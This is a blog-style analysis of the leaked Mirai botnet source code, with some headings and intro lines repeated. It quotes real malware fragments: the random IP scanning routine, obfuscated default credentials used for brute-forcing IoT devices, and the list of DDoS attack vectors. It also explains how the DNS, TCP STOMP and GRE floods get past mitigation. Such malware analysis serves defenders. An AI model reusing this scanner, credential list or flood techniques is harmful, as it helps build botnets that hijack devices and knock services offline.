As you might know, recent huge DDoS attacks (665 Gbit/s) were organized with the help of Mirai malware. Here are some insights into its source code.
Intro
Short overview:
This is funny, but in admin.go file there are some Russian sentences:
Random scan
Mirai authors implemented its own scanning technique, that is very fast, but interesting thing, that it picks IP addresses randomly:
Nice touch skipping GE, HP, US Post and DoD ;)
Weak and default passwords
Bot brutes weak and default passwords. There are only 63 credentials in there, all like:
Always change default passwords.
Attack methods
What's interesting in attacks:
attack_udp_vse
Attack for Valve game servers?
Intro
Short overview:
- Written mainly in C, but some scripts are in golang
- Loader, payload (bot) and CNC itself can be found in sources
- IPv6 not supported :(
This is funny, but in admin.go file there are some Russian sentences:
admin.go: this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
admin.go: this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
admin.go: this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
admin.go: this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
admin.go: this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
How did this happen? All other comments and output info are in English.Random scan
Mirai authors implemented its own scanning technique, that is very fast, but interesting thing, that it picks IP addresses randomly:
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
Nice touch skipping GE, HP, US Post and DoD ;)
Weak and default passwords
Bot brutes weak and default passwords. There are only 63 credentials in there, all like:
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
Always change default passwords.
Attack methods
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
What's interesting in attacks:
attack_udp_vse
Attack for Valve game servers?
- Default payload: TSource Engine Query
- Default dport: 27015
attack_udp_dns
Not default amplification attack, but attack aimed to authoritative DNS servers of the targeted company. Infected IoT sends the requests to resolve random_string.target.com to ISP service provider, which forwards the request to authoritative server. IoT generates tons of these requests.
attack_tcp_stomp
This time of attack should bypass mitigation devices. IoT device establishes the TCP connection to target and then sends ACK packets with correct sequence numbers. This keeps the connection alive. Pretty interesting, but should not normally work.
attack_gre_ip & attack_gre_eth
Two attacks with Generic Routing Encapsulation, with and without Ethernet encapsulation. GRE is a good choice, 'cause many routers bypass it without inspection.
That would be all for today. Be paranoid.
